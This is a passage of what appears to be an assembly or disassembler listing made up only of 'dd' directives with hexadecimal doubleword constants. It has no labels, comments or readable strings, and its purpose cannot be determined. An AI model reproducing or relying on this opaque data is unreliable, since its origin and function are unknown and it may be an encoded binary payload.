0F3EB6040h, 0E1768FC9h, 0B8774E7Bh, 63697695h dd 4510389Fh, 5A3B58CFh, 31934F70h, 87B62923h, 8E3C139h dd 2D07DF4Bh, 0A7749915h, 5DCC0D09h, 5325A464h, 8E2271B1h dd 251CCAD0h, 680942EFh, 8B30FD14h, 8723381h, 6414FC9Fh dd 5004EFF0h, 0B2074A78h, 0A0AC753Bh, 0F21268B3h, 0C0EFCE4Dh dd 95093DE1h, 0BAF4405Eh, 0C6BB2E47h, 709B0864h, 0DC46660Ch dd 0F60540E6h, 0E92B2404h, 8BBF585Fh, 4811515Fh, 97C420F5h dd 9EAFFA01h, 0E9E7618Eh, 0B26AB3A2h, 21E9A0ACh, 9551B786h dd 9BFF6025h, 0C131C002h, 70CF1E38h, 94D32CFDh, 8FAB1077h dd 80C3011Bh, 17A24DD3h, 5F6E1A75h, 79243B79h, 33D7531Ch dd 9962DD04h, 40166802h, 0EC63B456h, 0F2AB8515h, 0B85AD944h dd 0E043E56Fh, 0A924E9C1h, 7E6B0A94h, 1EDB2DA4h, 2C45582Dh dd 0C503B48Bh, 0DB4FE5Bh, 0C4EF5BD1h, 17910025h, 29CEEDE5h dd 5B0983B6h, 0CB8D566h, 6FB0B70Fh, 5722F32Ah, 806DE916h dd 1ECF61BBh, 70D03BBDh, 1F334CF2h, 4AF82976h, 0BFFC1746h dd 4DF344DBh, 58E2EF80h, 40B997DFh, 43A2B8C1h, 0F29F6953h dd 16F44BE9h, 0A63CEEB2h, 6B0201B8h, 4CE97F69h, 301A9332h dd 0DBAB9506h, 68E5123Bh, 0DF15FC4h, 7F0A822Bh, 55C04DFCh dd 0DA478568h, 78B9394Dh, 3211782Fh, 0F4FB0012h, 0B0076A3Ch dd 3B1DE816h, 0CE1D01ADh, 184D8B87h, 50B38Bh, 82351C0Bh dd 8774D678h, 0DB228367h, 81E56A88h, 43FC51AFh, 0E87EF74Fh dd 15D4ABE6h, 8AEE4088h, 0BD3659Fh, 656E875Eh, 15ED7497h dd 0EE5FBED2h, 74D9AA33h, 5911C978h, 5DE9BBE8h, 0B97E2741h dd 50680A82h, 5462FE7Dh, 953C4E59h, 0A993BD53h, 0AAD7CAB8h dd 5E090D88h, 538E2331h, 8430CBC8h, 25584758h, 5BF9D4D2h dd 65B3502Ch, 30522940h, 1E2EC4Fh, 7F025C33h, 0FC05EAC1h dd 65E813F2h, 0C40C2B60h, 9838B835h, 0CDEE0B76h, 645FEC0Ah dd 92C90A5h, 699819F0h, 83598277h, 0C1D4665Dh, 0F15099E4h dd 48237C6Ch, 479F5479h, 0FFC8FEA0h, 83A00A4Fh, 0DBFD82C6h dd 0BEA020FBh, 0F25D7247h, 32632180h, 7EBE42h, 296A13BFh dd 0D42053B8h, 0ADF9584h, 422C47C6h, 27EB6E08h, 68E1EC51h dd 3664195h, 0DC4A7209h, 8294DA02h, 0E3ED8103h, 5F5BEA54h dd 8032E6Ah, 40C6F9E9h, 0F1295F1Eh, 0F68B6F1Ah, 7F2B8CB9h dd 5F4BF8FFh, 2A9E32E1h, 0C8525Eh, 6A685217h, 61E5B87Eh dd 0C2A52189h, 69895B7Fh, 6850E768h, 615FBC2Ah, 7E2EE916h dd 0DEF0AF22h, 0CD210F65h, 0B4E44FA4h, 1278ECC4h, 0F5810601h dd 76DB270Eh, 407AD6Fh, 1FE1660h, 0C6E7C8BAh, 36A55414h dd 32EB05EEh, 0F48124C9h, 4A628DE2h, 2BEA8101h, 0F5565254h dd 0B6368D8h, 8A8AC288h, 9A0CBADDh, 0B7CFD709h, 85DDA2E0h dd 20971A97h, 696A54C4h, 0F4681235h, 7176453Bh, 0D205FDF3h dd 0FE85ABB8h, 0D30F60CFh, 0B97868E0h, 49987995h, 9F0E775h dd 4C7E5AE9h, 7F251D2Eh, 33A44D45h, 0DA55BDE2h, 0D98C5926h dd 0E16DBE5Ah, 4F664160h, 6AECC45h, 0FE11466Eh, 0B294D727h dd 0D1E5EA80h, 22EE61C0h, 0F62C1B42h, 0AA984B8Fh, 0DF3A8022h dd 6C17B1Bh, 8A20A0EAh, 7C7A5A7Ah, 0A47ADE27h, 0F1DF7F6h dd 540F0761h, 627DCDE9h, 4167DD22h, 0C641E906h, 0D560BD75h dd 5B970831h, 0FC99BDD6h, 0DCD9C5B2h, 0ADBA96EFh, 0D0F441B7h dd 0D15ECD2Eh, 27CF6D33h, 533077DDh, 75B0C729h, 0B7883929h dd 0E9B4D20Ch, 0FC82E5FDh, 59CB315Fh, 80705ADDh, 1941DBEEh dd 40D82934h, 8677A471h, 6AE4917h, 9B3492E7h, 6E3E81BDh dd 8541AC63h, 2A39C836h dd 2E0C100h, 0EE3F6F05h, 1F020A75h, 0E9AEFE4Fh, 121F7C60h dd 0B0A100BBh, 0CB814B06h, 323B23EEh, 63F3035Bh, 0E06E1C41h dd 244F11E9h, 226693Ch, 4790726Dh, 1AF540CBh, 140C1C08h dd 0FC0AE142h, 0EA75AE34h, 0B734F02Dh, 2DC2B2DEh, 0CAEE0F7Ch dd 9258B0EBh, 68ECBD62h, 772D4232h, 37E9B948h, 0C12EAD61h dd 70C405E8h, 30C73E0Eh, 0A57A34AEh, 55521E7Ch, 5F28DF65h dd 44037BE1h, 84103999h, 0E95FE4AFh, 0E0F19F4Ah, 922AB92Eh dd 658B7F05h, 591874B3h, 0E5D192FEh, 0E26641BDh, 5848092Bh dd 1255FB5Fh, 0BE50EA2Dh, 0D7BA25D4h, 527F8C32h, 309CC3AAh dd 748A7612h, 0D6504562h, 280D3409h, 3C7461C3h, 0B4079B23h dd 0B1EC802Ah, 0CD58E328h, 0D063E2CBh, 6EF60628h, 7DA63925h dd 0DBD2839Bh, 0C7095248h, 681748A4h, 6F8C7E02h, 0F36A168Fh dd 50E1077Ah, 67820B0Ch, 94559A8Ah, 0BB530213h, 2A163319h dd 45EF2D40h, 7F60F425h, 29F8163h, 4075FA17h, 76208866h dd 501408Fh, 13E213Bh, 0E9C629F8h, 0CC6A2E54h, 0E39FC894h dd 9CF8EDCAh, 0CE1EE83Bh, 8CEE4FF2h, 0F6C2E6CFh, 74C12841h dd 5FC79D49h, 1A8C3889h, 0DEDC5744h, 58B8F76Ah, 0F6C29C2Eh dd 405FA655h, 48E0715h, 0F3E9D42Dh, 0EFA3FEEEh, 0C685F393h dd 0B5349F48h, 0F268BDA1h, 8BE22E42h, 5A1D90D3h, 6C502C61h dd 1E048908h, 4C015EAFh, 5C16E907h, 0A3063532h, 0D1613D46h dd 7D73028Ch, 484075ACh, 0DB98177h, 967B2FE7h, 0F6F404D5h dd 0D82CB403h, 4FF0313Ch, 923CAC58h, 93FFA7ABh, 53867008h dd 2C9E62D9h, 0FA936Eh, 0B9108981h, 0E603BB6Bh, 0E91CC66Eh dd 0C7D4E4E1h, 1BE39384h, 38516F50h, 8D4C7CB1h, 0E5EB800Bh dd 0FA40AB42h, 1F992135h, 187A0E88h, 310DF8C1h, 0B407295Bh dd 0FD0B67B2h, 28578AB1h, 4071C947h, 95FD286Fh, 801C5796h dd 0E5CE91EDh, 64CDC1A2h, 1685DDF6h, 0C2EF3060h, 0B56E5h dd 9D3BC626h, 9D39876h, 0C5E7F170h, 51002CDEh, 7A2680B9h dd 7679812h, 71873EE2h, 0B0035781h, 0DAF706D3h, 0C28EC0B7h dd 8D6213DFh, 5F16AF4Bh, 0E916C1B8h, 0A5A9A008h, 0BE2840h dd 68DF1E64h, 1751C681h, 0B453462Ch, 79F8A51Dh, 3E835096h dd 45DF9EFh, 0E344575Ch, 17A7BC02h, 0CBA3B958h, 3F4A6808h dd 0C93D273Fh, 462FEA3Dh, 14C75FA3h, 4F2EBF04h, 1EF40DA4h dd 11051831h, 8FCF113Ch, 15033B17h, 94242C07h, 0A00BF7DFh dd 0F58BA918h, 0E9087BC1h, 0B6257428h, 0F47988E2h, 4C1B2720h dd 9913D6B7h, 65598C0Ch, 580765B6h, 4A85C531h, 0ECEF4E4h dd 1FA57953h, 595DE6C0h, 18CE48D1h, 0FBC8BBBh, 0E6C6E99Dh dd 99FE2FC9h, 500F07C6h, 0E080EDB4h, 0E9E18838h, 0F74040F8h dd 0C5A40082h, 98971B96h, 9C8F2CCDh, 64AF8259h, 16604F82h dd 0C32F3FAAh, 0F43FE21Ah, 22C52707h, 795C010Bh, 0E116C882h dd 75D70AE9h, 450C608Bh, 5A1412BCh, 442306F2h, 55E22568h dd 3F60EBD3h, 4D865CFCh, 455397DFh, 4C685055h, 56170D2Dh dd 0E74B72ECh, 4EA5D241h, 702029B6h, 0F33B2E1Bh, 74B90963h dd 2D4794F5h, 0DB3010B2h, 0CDB49E98h, 2827C3C2h, 0FA6634CBh dd 0FA7E6F8Ah, 1679959Fh, 250EE708h, 401B274h, 29353C96h dd 0F6A9002Eh, 3AF8EFD2h, 0A8D6E917h, 44A8C329h, 33FB0B48h dd 62603EFCh, 2025C1E3h, 0BD4A509Fh, 21C5F05Ch, 220FDEEDh dd 13442Eh, 2C1A101Ch, 0FB0B296Fh, 59C7A0E9h, 60E29C76h dd 68EED104h, 0C1A604E0h, 2C67C04Bh, 4B603DF8h, 7D3AE5Ch dd 2081A0C2h, 62CF2E77h, 8C194A8h, 9042BD5Ah, 0E309D395h dd 0BDAEF3ACh, 9CAC290h, 440D8668h, 0C3FCB7CFh, 82FCB758h dd 410D1BC1h, 2ABD72EDh, 40E82DAAh, 26DBEEF2h, 3A81F251h dd 0BBEB5160h, 25A5306Ah, 2308A30Ch, 0D30A785Fh, 0C3408C3h dd 0A9E91402h, 1FF05A8Fh, 43AC1F83h, 0D15DEF09h, 4906709Eh dd 56797614h, 9C6B0C0h, 97E905A4h, 0D35A427Ah, 0A19BAB9h dd 968A4E77h, 922188DFh, 756F9D62h, 0C317FECAh, 0B89387B2h dd 13DF81C6h, 26E7C91h, 53C201EFh, 0C83CF956h, 8CA061E8h dd 47C0BB3Ch, 1A10C14Fh, 7B036575h, 531415F8h, 0F9819EC1h dd 3017E822h, 4701E288h, 0DF01248Fh, 5689DE9h, 16890502h dd 0A2809E5Dh, 314C5C30h, 0ADE927h, 660E2D5Ah, 143143Bh dd 88059BE8h, 0C06BB107h, 50593854h, 0B5D0B5Ch, 0C052E903h dd 178DBE82h, 0F9223127h, 15E103D1h, 0B5834CEDh, 0D75ABF58h dd 0F7951C24h, 9150F0D0h, 6D12A94Fh, 89C07AE9h, 0CB43F480h dd 24FFB106h, 0CCFA685Ah, 4648B3F4h, 0F5B2F23h, 4469E4FBh dd 0D8C011FCh, 58330E31h, 0F2D4838h, 0F2F3BE23h, 9CC395C1h dd 2D787E33h, 959FBDAh, 4A194B43h, 482FBC55h, 26E07BB0h dd 16C2E7B5h, 9EBA015Ch, 2F4B4637h, 0C917401h, 0F16F5065h dd 2F6085B0h, 0B6C71743h, 0B1E3F90h, 7E18C05Eh, 0E9C733F4h dd 4EED38F7h, 0BCE26BB8h, 5C4B6970h, 9D2A3ED9h, 0A4DB9738h dd 68CD88EBh, 53F2C509h, 5C7E5E4Fh, 62BA314Bh, 3E5CC1B4h dd 0E9E11A21h, 0F26B7579h, 0A320492h, 0AEA3E9Ah, 1208EFE2h dd 0E516EA5Ah, 8A49C965h, 10C30057h, 3A34A603h, 0E4AC4CBFh dd 0B71B0845h, 777B681Ah, 0FC8A5EA4h, 0B6528784h, 5AF530B1h dd 0B1880370h, 0F0E0A00Dh, 9EBA9F3Fh, 53519B60h, 0F1B2BAFEh dd 725551AAh, 0CB0ED4D1h, 0C70F0B05h, 0EB53E1C2h, 0C98100ECh dd 5E2E0613h, 764A475h, 639E16C1h, 0F1D82337h, 5CCC122Dh dd 0D35EFA0Fh, 136C8A9Bh, 25AF260Ch, 4294BB52h, 0B911F4EBh dd 6F300CF6h, 5A644827h, 876BC7D7h, 1C3212E9h, 30B1E7D5h dd 37A3550h, 0CFFE2598h, 0D6FC8500h, 9A50E42Dh, 3DC0973Bh dd 40824F7Bh, 7A282FD1h, 80765BE3h, 0B605ADCBh, 20D4541Dh dd 1556F26Fh, 0C2B8CDE9h, 0B151D807h, 0D470A3ECh, 595B3405h dd 0C205F188h, 8DAE0445h, 43329F9h, 222D189Fh, 0E092A9F9h dd 0B1FC3E66h, 3330094Ch, 0CFBD5274h, 216AF300h, 0DCE5AAEEh dd 542F3A80h, 5A04F376h, 1483D0F6h, 0D5E9EF89h, 2CEF9A16h dd 6ED5A436h, 93AAB2BEh, 9E9F61AEh, 434B02ABh, 86635406h dd 681F1611h, 0E945056Fh, 0AB8A95D7h, 0CE874081h, 404C2E20h dd 50015F79h, 73478BB8h, 0B9EF0512h, 0F882ED8Ch, 38926E2Ch dd 2038037Ch, 0EE297D95h, 5F054F3Bh, 62A4CFD0h, 0FA47A544h dd 5B7C9CCAh, 89C4DCh, 7235C7A7h, 62C1FDF0h, 5500444h dd 22C6AAB4h, 0B7CC5F08h, 0E99DB8BFh, 1D0594C6h, 52018380h dd 0E2B317B2h, 89BC0FBh, 6071CAE1h, 20B62335h, 9FEF3EBh dd 1B54A76Eh, 0A0C050E4h, 12D01063h, 0EE64E90Dh, 79CB6012h dd 0D929FB5Fh, 1257D918h, 88886CE9h, 51095EA7h, 0D92FB868h dd 100BF52h, 5AB925ECh, 6C27FD65h, 78147531h, 55CE092Fh dd 6A1DF799h, 2F5A420Fh, 408F0951h, 5004ACDEh, 0A3E08E3Fh dd 0C2FEB88Bh, 0FAEA3980h, 280CBFCCh, 16225AD0h, 432F8F9h dd 0E916A261h, 7638C0B6h, 648258A1h, 0C55F474h, 6C20E060h dd 5905E22Bh, 5BF95399h, 0DE83C02Fh, 0FA481D93h, 75B41702h dd 0A829820Bh, 5F16089Ch, 0EF7C94AAh, 92DECBE2h, 5EAD3372h dd 80B7C5C9h, 48F86871h, 4B5B5708h, 305CBD4Bh, 762D7205h dd 85175EE1h, 8BD4B9CDh, 48DB81AFh, 13BCA31h, 0AD363546h dd 0C0AE050Ah, 741AD273h, 60E94A17h, 5A5440C1h, 0A641E03Bh dd 0DF564769h, 5FE970E8h dd 0CB3D07BCh, 82E421E9h, 2E48A559h, 562572BEh, 0C2E9F65Eh dd 0E90102DCh, 416BA6D4h, 0EA672B76h, 2BA46A04h, 5C3E40B5h dd 7DD4D09Fh, 8EB68DDh, 4FE90484h, 0CE5D0A5h, 277AD874h dd 6EBB9F25h, 0DA68179Eh, 0EE7F8C6Dh, 5CF54E41h, 0B4D7C2A7h dd 0BE0A86C7h, 8839C2B1h, 0A720BD5Ah, 2DD798B5h, 8866CF8Bh dd 0FC1D906Bh, 0EAC38351h, 0E5FFD77Eh, 5B00AC48h, 8900B1DDh dd 5F4A60F9h, 12DF91Ch, 576107C6h, 0CEE5E968h, 5A47AD3Bh dd 0D8AD6057h, 7A59B901h, 2EEDC161h, 57558C00h, 0A0460905h dd 0B862CEF0h, 33E917A6h, 1341F6AEh, 75B29A3Eh, 0B9B02F78h dd 0C08FDA53h, 74E0A502h, 195FC9F4h, 0F51C5709h, 58E06A5Ah dd 0AC724B89h, 0CD1C41Ah, 4FE70C1Dh, 8BEA8106h, 0A4C3817h dd 18066602h, 638570Ch, 0E02E8C1h, 1D68C831h, 2D4C517Fh dd 875CB957h, 0AD17F17Eh, 4277E808h, 0BF1B7A0h, 0E63B088Bh dd 1121605Ah, 0F674C980h, 0FCFED93Ah, 0F40FC85Bh, 0FAC6A75Ah dd 0C1B81094h, 3D21FF5Fh, 2697A720h, 0D552AB2Dh, 0B0549CCh dd 33C067Fh, 142D0C85h, 679F0F07h, 797FC6C2h, 9F7E5266h dd 31929744h, 0B401FD59h, 3F3AEF68h, 758ACE32h, 0E8E90718h dd 20EBC04Bh, 6375BAE8h, 45FE3364h, 12F53A88h, 0D066DE48h dd 2008CC39h, 30042648h, 0BEEF91BCh, 0C1495801h, 57E0D32Dh dd 88395052h, 0A0C633C8h, 9018A660h, 18C00953h, 42FC2996h dd 63FD5E3Fh, 8FC8013Ah, 0AF35C45Eh, 5D7E068Ah, 0E15F4859h dd 4FF37B83h, 0BF17EED2h, 0A1416AF2h, 693DC5CDh, 0C660DA89h dd 1A0958BEh, 0D5211E44h, 2AE4DE2Fh, 55A4BE81h, 0AD6F41C1h dd 61F45957h, 7B12D8E9h, 4FFBBB56h, 0D69E5F8Fh, 31C8BFD0h dd 30025E21h, 671F69C3h, 9F9284Eh, 81D8BA4Bh, 0A92F6063h dd 44C87612h, 287BC4A1h, 0ECE9139Dh, 5F5EC4C1h, 0F16046C5h dd 2B793CBDh, 562C2AE0h, 0D2950372h, 5A088053h, 0D55D25E9h dd 4D5591FDh, 81DED03Bh, 5B1DEEF2h, 0C2813DC4h, 0DC160155h dd 0AED6123Eh, 0D4E7B01Ch, 0E04BE268h, 0C1A6A457h, 5D8BD0BEh dd 121CBB53h, 0E1EFC016h, 0C728193Bh, 8FCB8101h, 0EC29C501h dd 0E59D337Fh, 3E680408h, 31CCCD74h, 0AAA7CAD7h, 2956F2E2h dd 26EA4757h, 951255Ah, 4134716Bh, 7B8EA6E9h, 742F6C3Ch dd 5020062h, 6FB138B9h, 55730F0Dh, 35D8D0C0h, 5B222015h dd 0A164EE8Ch, 0B04E7FEh, 669A3BE9h, 8063FA5Bh, 0DF4B895Dh dd 44E86E6h, 0AA71B53Fh, 938425BDh, 658C16E7h, 3853012Bh dd 5B840561h, 7A86F48h, 39C06027h, 20A01CBFh, 4C9D8919h dd 6E4E2D19h, 0A132177h, 0B3211870h, 2DE57520h, 20DFF7CBh dd 0CA74BECDh, 98E91766h, 7A41F564h, 0B248EFF9h, 0AA37575Fh dd 41A04F40h, 38686E17h, 27422E38h, 6A5D8150h, 0B36C31F5h dd 819CF05Fh, 14B07F3h, 59F610F2h, 40F4E16Bh, 0A554BFEh dd 2B93F255h, 0E9E828FEh, 0B6A683F0h, 0E9307195h, 0E26DD155h dd 3ADF22E8h, 999CFD98h, 3849E913h, 0B21629F3h, 0B47CB846h dd 6689FEFDh, 8D438256h, 0ACAE4B6Dh, 9706D068h, 78ED23BBh dd 0CA812B01h, 1AEA55F3h, 4C4CB2Fh, 7B100B49h, 5D0A69C2h dd 66130E45h, 7EBD7453h, 7E8BB127h, 6E0701FCh, 0C45F4179h dd 63D8A6D9h, 0EE3912FAh, 0AE82BF72h, 0B0EC494Bh, 0B8E9003Fh dd 34DE0B98h, 7E0C100h, 0E2527A25h, 5B350F58h, 0F157C217h dd 47C06E13h, 0FB55A68h, 83E28175h, 807DA844h, 0D9F263DDh dd 53E4FD5Bh, 0D77A80CBh, 9E51F1B5h, 57CC4B92h, 60DD9255h dd 2EFD4669h, 1AB1EDA7h, 9BC15C56h, 0B0212EEBh, 2EAAF043h dd 0B0044B93h, 6C9F5AD7h, 0EEB95845h, 0EF008694h, 1741045h dd 0B85150CEh, 0EA0CAD08h, 0D460DFCFh, 55598168h, 943A84BAh dd 0C8030409h, 0B2A72CD8h, 0CE7F7E62h, 0F56815F0h, 1612D27Bh dd 7B0B299Eh, 4238F6CAh, 11B47DA1h, 0F32782FDh, 0E5BD74E6h dd 5EEA62CCh, 0E8AF3104h, 554BDF59h, 90D52D1h, 6DF90960h dd 8DDE9F5h, 0F9F74A21h, 9C824FFAh, 0F0D43C77h, 3757057h dd 0DE18A2F6h, 0E3A465Bh, 2B5187B0h, 36B4684Eh, 406C31EAh dd 0E3280195h, 168692Bh, 3A71D287h, 78880981h, 1C5D783h dd 4DC3697Fh, 5F8F0E04h, 2CC37363h, 2759C864h, 6F79092Dh dd 32277B5h, 8BFC42DFh, 0DF1A896Bh, 3C9CCF81h, 0D19D60AAh dd 5F507041h, 4E8F31C2h, 0D9A3E17Eh, 0A59D01CAh, 3005F566h dd 0C01FC221h, 0E9424AB9h, 803A1D58h, 23084C1h, 0C4A89775h dd 0B0082A08h, 0C7504BAEh, 5E02691Ch, 275DB42Ah, 6FF240A9h dd 809F566Bh, 260E0D06h, 250954A4h, 271D0972h, 4B8702C5h dd 56970B0h, 22590B16h, 5B3A8915h, 0AF6702D7h, 32EE7562h dd 0D51DC2B5h, 3671BE8Bh, 941A0B2Dh, 92595B4Dh, 0B070988Ah dd 800EB601h, 0B72CE8EEh, 5392B03Eh, 78446814h, 0C5B6CF96h dd 36E8F388h, 20DE66A2h, 0E9805703h, 765992FCh, 2D211E9Ah dd 0BB0A3075h, 0AD489515h, 0CCB1AA1h, 56B3F65Fh, 48F4E927h dd 1EDAC32Ch, 0C93CA826h, 5030949Fh, 5F82E7ADh, 1363F0E8h dd 5F41AF17h, 9CE93621h, 0D14A2C33h, 0C28C10B9h, 0AC0CC5FDh dd 0CF470A6Eh, 86F381A9h, 7A462A36h, 26DF89A4h, 678D3Fh dd 69AE9AEBh, 68B553D5h, 58D17963h, 0F728DB4Ah, 0E95B3807h dd 0B170A9B1h, 0ECA030ACh, 1DC78080h, 57CF28A4h, 3EC0A8EFh dd 4F68C0EBh, 4E3CFA47h, 12DBB05Eh, 0BBBB8CE9h, 0BE089E25h dd 0BE281383h, 7F104D8Bh, 0D1045AFDh, 23AD7068h, 0AA780B12h dd 14C8A6B3h, 82555A09h, 5C4A82F3h, 0C0AD8EEBh, 0F5C0086Eh dd 59EB8832h, 0F91DF3F8h, 892DE950h, 99487F23h, 472838B5h dd 0CF01D757h, 4A70E661h, 81BEC5E9h, 72D4F103h, 64DFF54Bh dd 1B44AB82h, 0BB006C05h, 64CC233Eh, 0AF5FF7F4h, 0E6013D0h dd 21DE9F9Eh, 0A34A82BCh, 0E029A9A5h, 4C4B686Ah, 7CD4C34Ch dd 5E04AA03h, 0E9F05B3Bh, 8CB9900Ch, 5A7958A5h, 3AE9CDA0h dd 7684CBE8h, 0B5FC1669h, 0B50A8120h, 0A2E5283Eh, 0D048529Fh dd 8141003Ah, 4E2738E1h, 6796C48h, 0C07135F2h, 59FB02AAh dd 0CD0136B2h, 8447560h, 745F6F27h, 2A47247Fh, 54685B9Fh dd 0B02062CAh, 0E87240B5h, 8840828Eh, 583D6A87h, 843B9626h dd 17D6C0E4h, 0FF1B78FAh, 0B16BEF05h, 0C06746AEh, 5F0254E3h dd 6D605505h, 0FA5E554Ch, 16450350h, 962D4133h, 0E5046E25h dd 2976F011h, 55DF0AFh, 0C1E90AA0h, 84CEF64Ah, 2FCCA24Bh dd 0DD9177D4h, 6CB87ADAh, 205EA5C7h, 23840514h, 0B4CD5872h dd 3EECDB9Eh, 0B970010Fh, 125B6850h, 29A375Eh, 3DE9C229h dd 0B15A4B53h, 80208812h, 98C0E6FEh, 2F6C90D8h, 0AAFA5AB2h dd 12C0F674h, 69C28054h, 8EA04C0h, 0E430DEE9h, 0F616C3BBh dd 9FACC9Fh, 52DB5975h, 0DA900D09h, 49252094h, 0C8BF0F13h dd 2ABF9F84h, 10844906h, 0A84F32C5h, 0DD257892h, 81B732Fh dd 1492464Eh, 202E2DBAh, 5061302Bh, 6E2C012h, 943D6D20h dd 83680448h, 5834DA7Eh, 0E7BD6A7Fh, 0FEA8E209h, 52FD426Ch dd 0B5315E03h, 648EE721h, 92AE416Eh, 7E2C3D42h, 0C9024AF8h dd 1BDF5A1Eh, 2264B600h, 4BA4EA7Bh, 0D266FC9Ch, 23089906h dd 67C23183h, 59E3881Eh, 3E7238ECh, 4E8A58D8h, 0F23B44A1h dd 0FA079B59h, 0DB2261E7h, 0E189857Bh, 0A6CE2B1Bh, 0C113094Bh dd 0C4B9A5A0h, 6E5A852Ch, 422EB2A1h, 4BE9C574h, 551C35FCh dd 0B8AC04D6h, 278B649Fh dd 57431277h, 16A8EB70h, 0DE956856h, 95E13F9h, 0C02A7663h dd 8E6A03A8h, 0A209141Bh, 60D650F2h, 256123B8h, 62F77D90h dd 0C080DAEh, 575A1401h, 3D674664h, 4FCC8E6Fh, 0E070ED58h dd 5BD91631h, 0CCD51E83h, 0EAFF45B7h, 0E160A41Ch, 5136D0ADh dd 0A51D08C2h, 8345DF2h, 0F81420FBh, 6B4FFA98h, 0E330C7DDh dd 3E0C2FAFh, 9657FD86h, 0EC5D8540h, 9FE4B229h, 0DBEBB507h dd 0FFBA8084h, 5C2957D8h, 442639D3h, 6CDE6920h, 327BD75Ah dd 445EEB96h, 912A284h, 0B8F74780h, 4BC83B3Fh, 1B64E700h dd 0DAE9607Eh, 62F72A4Bh, 0BA826626h, 39AEBB01h, 6BA623E9h dd 6526F740h, 955D10D1h, 0BD204F52h, 0FD514B8Dh, 0A3BAD2B5h dd 96EDD320h, 3F24EED2h, 3C7BB0ABh, 7C70712Ch, 176E600Eh dd 4C3966EAh, 0F25E781Eh, 0EC0C0EAEh, 4021FF8Eh, 0B84A5066h dd 0A4E8E494h, 0CB044448h, 0AADF15DCh, 0F3C1580h, 0E9140C57h dd 5A401F5Eh, 0BD68663Bh, 15EA347Dh, 0EB04D8EEh, 807AB546h dd 7CB7F8BAh, 812DBCC3h, 8AB84F00h, 1902C902h, 4408BD05h dd 5ED2624Fh, 66DA5B95h, 0E94D9880h, 599ABD7Bh, 4C23142Ch dd 0DC78C7CFh, 0D0BB0924h, 16278CDCh, 36F8544Eh, 552C3750h dd 0C3041AB8h, 16973CE6h, 86589851h, 12A3A04Ah, 6DD552DAh dd 5C96224Ah, 5A851C30h, 1632BF65h, 4CBF0C0h, 23D5EBAh dd 38D8C762h, 51BD5500h, 0A2681A37h, 5C4BF5E4h, 0D449FAB8h dd 54975871h, 3540807Dh, 2B9A5CBAh, 323956EAh, 39C5CCE4h dd 6904FE5Eh, 0B2E9CB29h, 5A5947E0h, 0EC0B8266h, 39B873D5h dd 1C5AC12Dh, 884515Bh, 0A175EDAEh, 3082EDE5h, 0FE88FAB7h dd 6B04E261h, 0DFEF0312h, 0B23D4C04h, 0DE1C7D58h, 8023A52Ch dd 0F56851C0h, 251FCC7Fh, 0F1078187h, 0F6ACBA20h, 87FCA1B5h dd 60282350h, 80E7A9B1h, 0F61D07C7h, 8DBC0D7h, 9BF7D00Ah dd 0FDA358B2h, 0E37DF525h, 0ED67ADB3h, 16C32715h, 18C0A52Ch dd 0BD585450h, 55256B65h, 0A9E98398h, 2620F49h, 7794746Ch dd 5DEA058h, 0B010D71Ch, 74CDA21Ah, 0B8120B69h, 0F60241Ah dd 305C2FFCh, 481F1C81h, 46E25A38h, 0E4D0CAA2h, 93CD293Bh dd 0C9FC8567h, 30D6F7F1h, 2124DF9Dh, 0D2123A62h, 74FA56C5h dd 0B550AC97h, 0D210B4A6h, 0CE05E6Ch, 990C0F05h, 0C60A5E49h dd 0E5E91E07h, 0EF5CE104h, 12B1961h, 0BCADB2Ah, 0FE97E954h dd 1C77271Ah, 0F7BDAAA3h, 9B88C959h, 52AC0B63h, 5F92F5h dd 0B47F0EDDh, 0B1E9044h, 60233C67h, 6E985A80h, 50BD5CEFh dd 1666E4BBh, 0A865506Ah, 0B62E6481h, 0F11B3D83h, 95222C11h dd 82578D04h, 286CCF31h, 0CA040601h, 25E12EFCh, 0B7607A01h dd 1324807Eh, 5614D568h, 174617BEh, 0A7170470h, 35581DCAh dd 0CBF231CDh, 2A58941Ah, 5A05F1BDh, 0AA5BD45Fh, 78E520F8h dd 711C6827h, 2B1BEFCh, 0F8F68167h, 717E620Ch, 3C2FF37Dh dd 482651CBh, 0EBC1258Bh, 64B241ADh, 0F6878018h, 2E3C7FCCh dd 0FEF75001h, 0B2688089h, 46657C01h, 8E6C15Eh, 3DE6816Ah dd 6A219713h, 0FEFC94EEh, 3FF09D77h, 20E97750h, 591E323Eh dd 6216D6F6h, 485DFB49h, 0C777D94Fh, 0B593C53h, 928CE75Fh dd 0F8E9C45Bh, 0AA20848Ch, 0C67540BFh, 9316E2Bh, 6A330CC0h dd 5B29A0F2h, 8EE3ECF1h, 78D6C448h, 0A05A66B2h, 65404658h dd 34F50081h, 6810CA3Eh, 6D9E2E7Bh, 38E0263h, 5AEF7AABh dd 0BDD958DCh, 28083382h, 3178D55h, 0A30D51D8h, 972FF15Ah dd 10E636F2h, 2C6FBD07h, 0B4A213F4h, 0C5CEAE93h, 62C8F8FEh dd 48767E38h, 2C058509h, 0FA0F9531h, 7B9DCE81h, 0BB0227BBh dd 5E32130Ah, 97DAED82h, 8CEF2C69h, 0DB740E80h, 6250231h dd 58592DECh, 2BE830D7h, 6DBCF0Eh, 0A3E46016h, 40C06E1Eh dd 0A068B7C3h, 0B1899730h, 0B898FC04h, 255FC1CDh, 6A702E02h dd 1B260022h, 667E3517h, 4095073Ah, 3EA816Ah, 75980E7Ch dd 0BAC7CA29h, 5C1C3008h, 104B2140h, 0B722B693h, 72FA170Eh dd 41F02116h, 2EA094Ch, 50D7F797h, 93715157h, 901EAE5Fh dd 0DD8192F4h, 0F4D00E9Fh, 8C56B7F5h, 51798F79h, 1EE3CB25h dd 725D29FFh, 0A1B981AAh, 98D13F79h, 0B7535100h, 75E78010h dd 270F5CB0h, 275BFD88h, 0CDC2E9F5h, 90E35DA2h, 0FE04060Ch dd 27DE1CC5h, 945DEB88h, 2DE32D56h, 50D6F102h, 98FC5ADDh dd 0AC8D325Eh, 10FD010Ch, 0A86FBF2Ch, 1698E7F9h, 0D35D94Eh dd 6E2B9CFCh, 17401AF4h, 0AD2F9516h, 19220606h, 0C1486h dd 92B71EE4h, 0A869E953h, 5DEA3BC5h, 7C6419FEh, 0B3F7CE9Bh dd 5DF3EAA8h, 2620F116h, 4B6D9086h, 4B60A9D8h, 7CF218A0h dd 44012D54h, 580D1BD7h, 8620BA18h, 5BA85D4Eh, 2CBD160Bh dd 8712877h, 25FA1C30h, 825D48DEh, 0B21AE717h, 0E1247874h dd 8CB8BA88h, 1A234832h, 6FE8FA08h, 0C0A12A79h, 0E860D41Ah dd 14C05F53h, 0C42D8EBAh, 69439010h, 5ED0E351h, 2D81DA97h dd 3159565Fh, 0FB3C5E10h, 907572Eh, 